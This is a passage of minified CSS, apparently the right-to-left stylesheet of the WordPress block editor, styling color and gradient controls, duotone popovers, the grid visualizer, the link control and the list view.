.block-editor-color-gradient-control__color-indicator{margin-bottom:12px}.block-editor-color-gradient-control__fieldset{min-width:0}.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings,.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings>div:not(:first-of-type){display:block}@media screen and (min-width:782px){.block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{display:grid;grid-template-columns:repeat(6,28px)}}.block-editor-block-inspector .block-editor-panel-color-gradient-settings .components-base-control{margin-bottom:inherit}.block-editor-panel-color-gradient-settings__dropdown-content .block-editor-color-gradient-control__panel{padding:16px;width:260px}.block-editor-panel-color-gradient-settings__color-indicator{background:linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.block-editor-tools-panel-color-gradient-settings__item{border-bottom:1px solid #ddd;border-left:1px solid #ddd;border-right:1px solid #ddd;max-width:100%;padding:0;position:relative}.block-editor-tools-panel-color-gradient-settings__item:nth-child(1 of .block-editor-tools-panel-color-gradient-settings__item){border-top:1px solid #ddd;border-top-left-radius:2px;border-top-right-radius:2px;margin-top:24px}.block-editor-tools-panel-color-gradient-settings__item:nth-last-child(1 of .block-editor-tools-panel-color-gradient-settings__item){border-bottom-left-radius:2px;border-bottom-right-radius:2px}.block-editor-tools-panel-color-gradient-settings__item>div,.block-editor-tools-panel-color-gradient-settings__item>div>button{border-radius:inherit}.block-editor-tools-panel-color-gradient-settings__dropdown{display:block;padding:0}.block-editor-tools-panel-color-gradient-settings__dropdown>button{height:auto;padding-bottom:10px;padding-top:10px;text-align:right}.block-editor-tools-panel-color-gradient-settings__dropdown>button.is-open{background:#f0f0f0;color:var(--wp-admin-theme-color)}.block-editor-tools-panel-color-gradient-settings__dropdown .block-editor-panel-color-gradient-settings__color-name{max-width:calc(100% - 44px);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-panel-color-gradient-settings__dropdown{width:100%}.block-editor-panel-color-gradient-settings__dropdown .component-color-indicator{flex-shrink:0}.block-editor-panel-color-gradient-settings__reset{left:0;margin:auto 8px;opacity:0;position:absolute;top:8px}@media not (prefers-reduced-motion){.block-editor-panel-color-gradient-settings__reset{transition:opacity .1s ease-in-out}}.block-editor-panel-color-gradient-settings__reset.block-editor-panel-color-gradient-settings__reset{border-radius:2px}.block-editor-panel-color-gradient-settings__dropdown:hover+.block-editor-panel-color-gradient-settings__reset,.block-editor-panel-color-gradient-settings__reset:focus,.block-editor-panel-color-gradient-settings__reset:hover{opacity:1}@media (hover:none){.block-editor-panel-color-gradient-settings__reset{opacity:1}}.block-editor-date-format-picker{border:none;margin:0 0 16px;padding:0}.block-editor-date-format-picker__custom-format-select-control__custom-option{border-top:1px solid #ddd}.block-editor-duotone-control__popover.components-popover>.components-popover__content{padding:8px;width:260px}.block-editor-duotone-control__popover.components-popover .components-menu-group__label{padding:0}.block-editor-duotone-control__popover.components-popover .components-circular-option-picker__swatches{display:grid;gap:12px;grid-template-columns:repeat(6,28px);justify-content:space-between}.block-editor-duotone-control__unset-indicator{background:linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.components-font-appearance-control [role=option]{color:#1e1e1e;text-transform:capitalize}.block-editor-font-family-control:not(.is-next-has-no-margin-bottom){margin-bottom:8px}.block-editor-global-styles__toggle-icon{fill:currentColor}.block-editor-global-styles__shadow-popover-container{width:230px}.block-editor-global-styles__shadow__list{display:flex;flex-wrap:wrap;gap:12px;padding-bottom:8px}.block-editor-global-styles__clear-shadow{text-align:left}.block-editor-global-styles-filters-panel__dropdown,.block-editor-global-styles__shadow-dropdown{display:block;padding:0;position:relative}.block-editor-global-styles-filters-panel__dropdown button,.block-editor-global-styles__shadow-dropdown button{padding:8px;width:100%}.block-editor-global-styles-filters-panel__dropdown button.is-open,.block-editor-global-styles__shadow-dropdown button.is-open{background-color:#f0f0f0}.block-editor-global-styles__shadow-editor__remove-button{left:0;margin:auto 8px;opacity:0;position:absolute;top:8px}@media not (prefers-reduced-motion){.block-editor-global-styles__shadow-editor__remove-button{transition:opacity .1s ease-in-out}}.block-editor-global-styles__shadow-dropdown:hover .block-editor-global-styles__shadow-editor__remove-button,.block-editor-global-styles__shadow-editor__remove-button:focus,.block-editor-global-styles__shadow-editor__remove-button:hover{opacity:1}@media (hover:none){.block-editor-global-styles__shadow-editor__remove-button{opacity:1}}.block-editor-global-styles-filters-panel__dropdown{border:1px solid #ddd;border-radius:2px}.block-editor-global-styles__shadow-indicator{align-items:center;appearance:none;background:none;border:1px solid #e0e0e0;border-radius:2px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:inline-flex;height:26px;padding:0;transform:scale(1);width:26px;will-change:transform}@media not (prefers-reduced-motion){.block-editor-global-styles__shadow-indicator{transition:transform .1s ease}}.block-editor-global-styles__shadow-indicator:focus{border:2px solid #757575}.block-editor-global-styles__shadow-indicator:hover{transform:scale(1.2)}.block-editor-global-styles__shadow-indicator.unset{background:linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.block-editor-global-styles-advanced-panel__custom-css-input textarea{direction:ltr;font-family:Menlo,Consolas,monaco,monospace}.block-editor-panel-duotone-settings__reset{left:0;margin:auto 8px;opacity:0;position:absolute;top:8px}@media not (prefers-reduced-motion){.block-editor-panel-duotone-settings__reset{transition:opacity .1s ease-in-out}}.block-editor-global-styles-filters-panel__dropdown:hover .block-editor-panel-duotone-settings__reset,.block-editor-panel-duotone-settings__reset:focus,.block-editor-panel-duotone-settings__reset:hover{opacity:1}@media (hover:none){.block-editor-panel-duotone-settings__reset{opacity:1}}.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer{z-index:30}.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer .components-popover__content *{pointer-events:none}.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer.is-dropping-allowed .block-editor-grid-visualizer__drop-zone{pointer-events:all}.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer .block-editor-inserter *{pointer-events:auto}.block-editor-grid-visualizer__grid{display:grid;position:absolute}.block-editor-grid-visualizer__cell{display:grid;position:relative}.block-editor-grid-visualizer__cell .block-editor-inserter{bottom:0;color:inherit;left:0;overflow:hidden;position:absolute;right:0;top:0;z-index:32}.block-editor-grid-visualizer__cell .block-editor-inserter .block-editor-grid-visualizer__appender{box-shadow:inset 0 0 0 1px color-mix(in srgb,currentColor 20%,#0000);color:inherit;height:100%;opacity:0;overflow:hidden;padding:0!important;width:100%}.block-editor-grid-visualizer__cell.is-highlighted .block-editor-grid-visualizer__drop-zone,.block-editor-grid-visualizer__cell.is-highlighted .block-editor-inserter{background:var(--wp-admin-theme-color)}.block-editor-grid-visualizer__cell .block-editor-grid-visualizer__appender:focus,.block-editor-grid-visualizer__cell:hover .block-editor-grid-visualizer__appender{background-color:color-mix(in srgb,currentColor 20%,#0000);opacity:1}.block-editor-grid-visualizer__drop-zone{background:#cccccc1a;grid-column:1;grid-row:1;height:100%;min-height:8px;min-width:8px;width:100%}.block-editor-grid-item-resizer.block-editor-grid-item-resizer.block-editor-grid-item-resizer{z-index:30}.block-editor-grid-item-resizer.block-editor-grid-item-resizer.block-editor-grid-item-resizer .components-popover__content *{pointer-events:none}.block-editor-grid-item-resizer__box{border:1px solid var(--wp-admin-theme-color)}.block-editor-grid-item-resizer__box .components-resizable-box__handle.components-resizable-box__handle.components-resizable-box__handle{pointer-events:all}.block-editor-grid-item-mover__move-button-container{border:none;display:flex;justify-content:center;padding:0}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button{min-width:0!important;padding-left:0;padding-right:0;width:24px}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button svg{min-width:24px}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:before{border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media not (prefers-reduced-motion){.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus,.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus:before,.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus:enabled{box-shadow:none;outline:none}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus-visible:before{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-grid-item-mover__move-vertical-button-container{display:flex;position:relative}@media (min-width:600px){.block-editor-grid-item-mover__move-vertical-button-container{flex-direction:column;justify-content:space-around}.block-editor-grid-item-mover__move-vertical-button-container>.block-editor-grid-item-mover-button.block-editor-grid-item-mover-button{height:20px!important;min-width:0!important;width:100%}.block-editor-grid-item-mover__move-vertical-button-container>.block-editor-grid-item-mover-button.block-editor-grid-item-mover-button:before{height:calc(100% - 4px)}.block-editor-grid-item-mover__move-vertical-button-container .block-editor-grid-item-mover-button.is-down-button svg,.block-editor-grid-item-mover__move-vertical-button-container .block-editor-grid-item-mover-button.is-up-button svg{flex-shrink:0;height:20px}.editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-vertical-button-container{height:40px;position:relative;top:-5px}}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container{position:relative}@media (min-width:600px){.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container:before{background:#e0e0e0;content:"";height:100%;position:absolute;top:0;width:1px}}@media (min-width:782px){.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container:before{background:#1e1e1e}}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-left{padding-left:6px}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-left:before{left:0}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-right{padding-right:6px}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-right:before{right:0}@media (min-width:600px){.show-icon-labels .block-editor-grid-item-mover__move-vertical-button-container:before{background:#e0e0e0;content:"";height:1px;margin-top:-.5px;position:absolute;right:50%;top:50%;transform:translate(50%);width:100%}}@media (min-width:782px){.show-icon-labels .block-editor-grid-item-mover__move-vertical-button-container:before{background:#1e1e1e}}.show-icon-labels .block-editor-grid-item-mover-button{white-space:nowrap}.show-icon-labels .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-horizontal-button-container:before{background:#ddd;height:24px;top:4px}.show-icon-labels .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-vertical-button-container:before{background:#ddd;width:calc(100% - 24px)}.block-editor-height-control{border:0;margin:0;padding:0}.block-editor-iframe__container{height:100%;width:100%}.block-editor-iframe__scale-container{height:100%}.block-editor-iframe__scale-container.is-zoomed-out{left:0;position:absolute;width:var(--wp-block-editor-iframe-zoom-out-scale-container-width,100vw)}.block-editor-image-size-control{margin-bottom:1em}.block-editor-image-size-control .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__width{margin-bottom:1.115em}.block-editor-block-types-list__list-item{display:block;margin:0;padding:0;width:33.33%}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled) .block-editor-block-icon.has-colors{color:var(--wp-block-synced-color)}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{color:var(--wp-block-synced-color)!important;filter:brightness(.95)}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover svg{color:var(--wp-block-synced-color)!important}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):after{background:var(--wp-block-synced-color)}.components-button.block-editor-block-types-list__item{align-items:stretch;background:#0000;color:#1e1e1e;cursor:pointer;display:flex;flex-direction:column;font-size:13px;height:auto;justify-content:center;padding:8px;position:relative;width:100%;word-break:break-word}@media not (prefers-reduced-motion){.components-button.block-editor-block-types-list__item{transition:all .05s ease-in-out}}.components-button.block-editor-block-types-list__item:disabled{cursor:default;opacity:.6}.components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{color:var(--wp-admin-theme-color)!important;filter:brightness(.95)}.components-button.block-editor-block-types-list__item:not(:disabled):hover svg{color:var(--wp-admin-theme-color)!important}.components-button.block-editor-block-types-list__item:not(:disabled):hover:after{background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.04;pointer-events:none;position:absolute;right:0;top:0}.components-button.block-editor-block-types-list__item:not(:disabled):focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-button.block-editor-block-types-list__item:not(:disabled).is-active{background:#1e1e1e;color:#fff;outline:2px solid #0000;outline-offset:-2px}.block-editor-block-types-list__item-icon{color:#1e1e1e;padding:12px 20px}@media not (prefers-reduced-motion){.block-editor-block-types-list__item-icon{transition:all .05s ease-in-out}}.block-editor-block-types-list__item-icon .block-editor-block-icon{margin-left:auto;margin-right:auto}@media not (prefers-reduced-motion){.block-editor-block-types-list__item-icon svg{transition:all .15s ease-out}}.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{cursor:grab}.block-editor-block-types-list__item-title{font-size:12px;hyphens:auto;padding:4px 2px 8px}.block-editor-block-inspector__tabs [role=tablist]{width:100%}.block-editor-inspector-popover-header{margin-bottom:16px}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}@keyframes loadingpulse{0%{opacity:1}50%{opacity:0}to{opacity:1}}.block-editor-link-control{min-width:350px;position:relative}.components-popover__content .block-editor-link-control{max-width:350px;min-width:auto;width:90vw}.show-icon-labels .block-editor-link-control .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-link-control .components-button.has-icon:before{content:attr(aria-label)}.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top{flex-wrap:wrap;gap:4px}.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top .components-button.has-icon{padding:4px;width:auto}.show-icon-labels .block-editor-link-control .is-preview .block-editor-link-control__search-item-header{margin-left:0;min-width:100%}.block-editor-link-control__search-input-wrapper{margin-bottom:8px;position:relative}.block-editor-link-control__search-input-container,.block-editor-link-control__search-input-wrapper{position:relative}.block-editor-link-control__field{margin:16px}.block-editor-link-control__field .components-base-control__label{color:#1e1e1e}.block-editor-link-control__search-error{margin:-8px 16px 16px}.block-editor-link-control__search-actions{padding:8px 16px 16px}.block-editor-link-control__search-results-wrapper{position:relative}.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{content:"";display:block;left:16px;pointer-events:none;position:absolute;right:-1px;z-index:100}.block-editor-link-control__search-results-wrapper:before{bottom:auto;height:8px;top:0}.block-editor-link-control__search-results-wrapper:after{bottom:0;height:16px;top:auto}.block-editor-link-control__search-results{margin-top:-16px;max-height:200px;overflow-y:auto;padding:8px}.block-editor-link-control__search-results.is-loading{opacity:.2}.block-editor-link-control__search-item.components-button.components-menu-item__button{height:auto;text-align:right}.block-editor-link-control__search-item .components-menu-item__item{display:inline-block;overflow:hidden;text-overflow:ellipsis;width:100%}.block-editor-link-control__search-item .components-menu-item__item mark{background-color:initial;color:inherit;font-weight:600}.block-editor-link-control__search-item .components-menu-item__shortcut{color:#757575;text-transform:capitalize;white-space:nowrap}.block-editor-link-control__search-item[aria-selected]{background:#f0f0f0}.block-editor-link-control__search-item.is-current{background:#0000;border:0;cursor:default;flex-direction:column;padding:16px;width:100%}.block-editor-link-control__search-item .block-editor-link-control__search-item-header{align-items:center;display:block;flex-direction:row;gap:8px;margin-left:8px;overflow-wrap:break-word;white-space:pre-wrap}.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-info{color:#757575;font-size:12px;line-height:1.1;word-break:break-all}.block-editor-link-control__search-item.is-preview .block-editor-link-control__search-item-header{display:flex;flex:1}.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-header{align-items:center}.block-editor-link-control__search-item.is-url-title .block-editor-link-control__search-item-title{word-break:break-all}.block-editor-link-control__search-item .block-editor-link-control__search-item-details{display:flex;flex-direction:column;gap:4px;justify-content:space-between}.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-icon{background-color:#f0f0f0;border-radius:2px;height:32px;width:32px}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{align-items:center;display:flex;flex-shrink:0;justify-content:center;position:relative}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon img{width:16px}.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-icon{max-height:32px;top:0;width:32px}.block-editor-link-control__search-item .block-editor-link-control__search-item-title{line-height:1.1}.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus{box-shadow:none}.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus-visible{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000;text-decoration:none}.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{background-color:initial;color:inherit;font-weight:600}.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{font-weight:400}.block-editor-link-control__search-item .block-editor-link-control__search-item-title .components-external-link__icon{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}.block-editor-link-control__search-item-top{align-items:center;display:flex;flex-direction:row;width:100%}.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon img,.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon svg{opacity:0}.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{background-color:#f0f0f0;border-radius:100%;bottom:0;content:"";display:block;left:0;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{animation:loadingpulse 1s linear infinite;animation-delay:.5s}}.block-editor-link-control__loading{align-items:center;display:flex;margin:16px}.block-editor-link-control__loading .components-spinner{margin-top:0}.components-button+.block-editor-link-control__search-create{overflow:visible;padding:12px 16px}.components-button+.block-editor-link-control__search-create:before{content:"";display:block;position:absolute;right:0;top:-10px;width:100%}.block-editor-link-control__search-create{align-items:center}.block-editor-link-control__search-create .block-editor-link-control__search-item-title{margin-bottom:0}.block-editor-link-control__search-create .block-editor-link-control__search-item-icon{top:0}.block-editor-link-control__drawer-inner{display:flex;flex-basis:100%;flex-direction:column;position:relative}.block-editor-link-control__setting{flex:1;margin-bottom:0;padding:8px 24px 8px 0}.block-editor-link-control__setting .components-base-control__field{display:flex}.block-editor-link-control__setting .components-base-control__field .components-checkbox-control__label{color:#1e1e1e}.block-editor-link-control__setting input{margin-right:0}.is-preview .block-editor-link-control__setting{padding:20px 0 8px 8px}.block-editor-link-control__tools{margin-top:-16px;padding:8px 8px 0}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle{gap:0;padding-right:0}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true]{color:#1e1e1e}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{transform:rotate(-90deg);visibility:visible}@media not (prefers-reduced-motion){.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{transition:transform .1s ease}}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{transform:rotate(0deg);visibility:visible}@media not (prefers-reduced-motion){.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{transition:transform .1s ease}}.block-editor-link-control .block-editor-link-control__search-input .components-spinner{display:block}.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{bottom:auto;left:40px;position:absolute;right:auto;top:calc(50% - 8px)}.block-editor-link-control .block-editor-link-control__search-input-wrapper.has-actions .components-spinner{left:12px;top:calc(50% + 4px)}.block-editor-list-view-tree{border-collapse:collapse;margin:0;padding:0;width:100%}.components-modal__content .block-editor-list-view-tree{margin:-12px -6px 0;width:calc(100% + 12px)}.block-editor-list-view-tree.is-dragging tbody{pointer-events:none}.block-editor-list-view-leaf{position:relative;transform:translateY(0)}.block-editor-list-view-leaf.is-draggable,.block-editor-list-view-leaf.is-draggable .block-editor-list-view-block-contents{cursor:grab}.block-editor-list-view-leaf .block-editor-list-view-block-select-button[aria-expanded=true]{color:inherit}.block-editor-list-view-leaf .block-editor-list-view-block-select-button:hover{color:var(--wp-admin-theme-color)}.block-editor-list-view-leaf .block-editor-list-view-block-select-button svg{fill:currentColor}@media (forced-colors:active){.block-editor-list-view-leaf .block-editor-list-view-block-select-button svg{fill:CanvasText}}.is-dragging-components-draggable .block-editor-list-view-leaf:not(.is-selected) .block-editor-list-view-block-select-button:hover{color:inherit}.block-editor-list-view-leaf.is-selected td{background:var(--wp-admin-theme-color)}.block-editor-list-view-leaf.is-selected.is-synced td{background:var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents .block-editor-block-icon,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:hover{color:var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents,.block-editor-list-view-leaf.is-selected .components-button.has-icon{color:#fff}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-list-view-leaf.is-selected.is-synced .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-list-view-leaf.is-first-selected td:first-child{border-top-right-radius:2px}.block-editor-list-view-leaf.is-first-selected td:last-child{border-top-left-radius:2px}.block-editor-list-view-leaf.is-last-selected td:first-child{border-bottom-right-radius:2px}.block-editor-list-view-leaf.is-last-selected td:last-child{border-bottom-left-radius:2px}.block-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){background:rgba(var(--wp-admin-theme-color--rgb),.04)}.block-editor-list-view-leaf.is-synced-branch.is-branch-selected{background:rgba(var(--wp-block-synced-color--rgb),.04)}.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:first-child{border-top-right-radius:2px}.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:last-child{border-top-left-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:first-child{border-top-right-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:last-child{border-top-left-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:first-child{border-bottom-right-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:last-child{border-bottom-left-radius:2px}.block-editor-list-view-leaf.is-branch-selected:not(.is-selected) td{border-radius:0}.block-editor-list-view-leaf.is-displacement-normal{transform:translateY(0)}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-displacement-normal{transition:transform .2s}}.block-editor-list-view-leaf.is-displacement-up{transform:translateY(-32px)}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-displacement-up{transition:transform .2s}}.block-editor-list-view-leaf.is-displacement-down{transform:translateY(32px)}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-displacement-down{transition:transform .2s}}.block-editor-list-view-leaf.is-after-dragged-blocks{transform:translateY(calc(var(--wp-admin--list-view-dragged-items-height, 32px)*-1))}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-after-dragged-blocks{transition:transform .2s}}.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{transform:translateY(calc(-32px + var(--wp-admin--list-view-dragged-items-height, 32px)*-1))}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{transition:transform .2s}}.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{transform:translateY(calc(32px + var(--wp-admin--list-view-dragged-items-height, 32px)*-1))}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{transition:transform .2s}}.block-editor-list-view-leaf.is-dragging{opacity:0;pointer-events:none;right:0;z-index:-9999}.block-editor-list-view-leaf .block-editor-list-view-block-contents{align-items:center;border-radius:2px;box-sizing:border-box;color:inherit;display:flex;font-family:inherit;font-size:13px;font-weight:400;height:32px;margin:0;padding:6px 0 6px 4px;position:relative;text-align:right;text-decoration:none;white-space:nowrap;width:100%}@media not (prefers-reduced-motion){.block-editor-list-view-leaf .block-editor-list-view-block-contents{transition:box-shadow .1s linear}}.components-modal__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{padding-left:0;padding-right:0}.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents{box-shadow:none}.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents:after{border-radius:inherit;bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:-29px;pointer-events:none;position:absolute;right:0;top:0;z-index:2}.block-editor-list-view-leaf.has-single-cell .block-editor-list-view-block-contents:focus:after{left:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view__menu{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);z-index:1}.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{opacity:1}@keyframes __wp-base-styles-fade-in{0%{opacity:0}to{opacity:1}}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{animation:__wp-base-styles-fade-in .08s linear 0s;animation-fill-mode:forwards}}.block-editor-list-view-leaf .block-editor-block-icon{flex:0 0 24px;margin-left:4px}.block-editor-list-view-leaf .block-editor-list-view-block__contents-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{padding:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{line-height:0;vertical-align:middle;width:36px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell>*{opacity:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:hover>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:hover>*{opacity:1}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell .components-button.has-icon{min-width:24px;padding:0;width:24px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell{padding-left:4px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon{height:24px}.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell-alignment-wrapper{align-items:center;display:flex;flex-direction:column;height:100%}.block-editor-list-view-leaf .block-editor-block-mover-button{height:24px;position:relative;width:36px}.block-editor-list-view-leaf .block-editor-block-mover-button svg{height:24px;position:relative}.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button{align-items:flex-end;margin-top:-6px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button svg{bottom:-4px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button{align-items:flex-start;margin-bottom:-6px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button svg{top:-4px}.block-editor-list-view-leaf .block-editor-block-mover-button:before{height:16px;left:0;min-width:100%;right:0}.block-editor-list-view-leaf .block-editor-inserter__toggle{background:#1e1e1e;color:#fff;height:24px;margin:6px 1px 6px 6px;min-width:24px}.block-editor-list-view-leaf .block-editor-inserter__toggle:active{color:#fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__label-wrapper svg{position:relative;right:2px}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title{flex:1;position:relative}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title .components-truncate{position:absolute;transform:translateY(-50%);width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor-wrapper{max-width:min(110px,40%);position:relative;width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor{left:0;position:absolute;transform:translateY(-50%)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__anchor{background:#0000004d;color:#fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__lock,.block-editor-list-view-leaf 